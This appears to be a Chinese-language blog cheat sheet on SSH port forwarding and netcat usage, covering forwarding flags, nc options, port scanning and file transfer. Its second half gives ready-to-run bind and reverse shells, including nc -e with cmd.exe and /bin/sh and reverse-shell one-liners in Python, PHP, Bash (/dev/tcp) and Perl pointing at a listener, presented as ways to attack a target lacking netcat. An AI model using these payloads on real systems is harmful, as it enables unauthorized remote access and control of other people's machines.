端口转发正反向链接 NC 和 SSH下的用法
SSH 端口转发:
SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes -f 后台执行ssh指令 -C 允许压缩数据 -N 不执行远程指令 -R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口 -L 本地端口转发 -D 动态端口转发 正向代理 ssh -fCNL *:1234:localhost:8888 localhost 反向代理 ssh -fCNR 45.134.xxx.xxx:8822:localhost:3306 root@45.134.xxx.xxx #本地的3306端口转发到指定的45.134.xxx.xxx的IP上,值得注意的是,转发过去之后,只能45.134.xxx.xxx去连接,另外一台机子不能通过访问45.135.xxx.xxx连接来访问,想要实现这个效果的话需要在45.134.xxx.xxx开正向端口转发 好多情况下做运维的时候,直接通过ssh转发把做了白名单才允许访问的端口通过这种方式本体转发切换
nc.exe -h //即可看到各参数的使用方法。基本格式: nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port] 参数 作用 -d 后台模式 -e prog 程序重定向,一旦连接就执行 -g<网关> 设置路由器跃程通信网关,最多可设置8个 -G<指向器数目> 设置来源路由指向器,其数值为4的倍数 -h 帮助信息 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口 -l 监听模式,用于入站连接,管控传入的数据 -L 连接关闭后,仍然继续监听 -n 直接使用IP地址,而不通过域名服务器 -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存 -p<通信端口> 设置本地主机使用的通信端口 -r 随机指定本地与远端主机的通信端口 -s <来源地址> 设置本地主机送出数据包的IP地址 -t 使用TELNET交互方式 -u UDP模式 -v 显示指令执行过程 -w <超时秒数> 设置等待连接的时间 -z 将输入输出关掉,只在扫描通信端口时使用 端口的表示方法可写为 M-N 的范围格式。 Windows下: 正向连接 服务器执行:nc -l -p 8888 -e cmd.exe 本地主机执行:nc -vv 服务器ip 8888 反向连接 服务器执行:nc -e cmd.exe 公网ip 8888 公网主机执行:nc -lvp 8888 几种使用方法: 连接到远程主机命令: nc -nvv Targert_IP Targert_Port 监听本地主机命令: nc -l -p Local_Port 端口扫描 扫描指定主机的单一端口是否开放命令: nc -v target_IP target_Port 扫描指定主机的某个端口段的端口开放信息命令: nc -v -z Target_IP Target_Port_Start - Target_Port_End 扫描指定主机的某个UDP端口段,并且返回端口信息命令: nc -v -z -u Target_IP Target_Port_Start - Target_Port_End 扫描指定主机的端口段信息,并且设置超时时间为3秒命令: nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End 端口监听 监听本地端口命令: nc -l -p local_Port 注:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行 监听本地端口,并且将监听到的信息保存到指定的文件中命令: nc -l -p local_Port > target_File 连接远程系统命令: nc Target_IP Target_Port //之后可以运行HTTP请求 FTP匿名探测命令: nc Targert_IP 21 文件传输 传输端命令: nc Targert_IP Targert_Port < Targert_File 接收端命令: nc -l Local_Port > Targert_File 通信 本地主机命令: nc -l 8888 远程主机命令: nc Targert_IP Targert_Port 获取shell 获取shell分为两种,一种是正向shell,一种是方向shell。 如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell 正向shell 本地主机命令: nc Targert_IP Targert_Port 目标主机命令: nc -lvp Targert_Port -e /bin/sh 反向shell 本地主机命令: nc -lvp Target_Port 目标主机命令: nc Targert_IP Targert_Port -e /bin/sh 特殊场景 在一般情况下,目标主机上一般都是不会有Netcat的,此时就需要使用其他替代的方法来实现反向连接达到攻击主机的目的,下面介绍几种反向shell的设置。 python反向shell 本地主机: nc -lvp 5555 目标主机端执行语句: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP反向shell 本地主机: nc -lvp 5555 目标主机端执行语句: php -r '$sock=fsockopen("192.168.11.144",5555);exec("/bin/sh -i <&3 >&3 2>&3");' Bash反向shell 本地主机: nc -lvp 5555 目标主机端执行语句: bash -i>&/dev/tcp/192.168.11.144/5555 0>&1 Perl反向shell 本地主机: nc -lvp 5555 目标主机端执行语句: perl -e 'use Socket;$i="192.168.11.144";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' [video]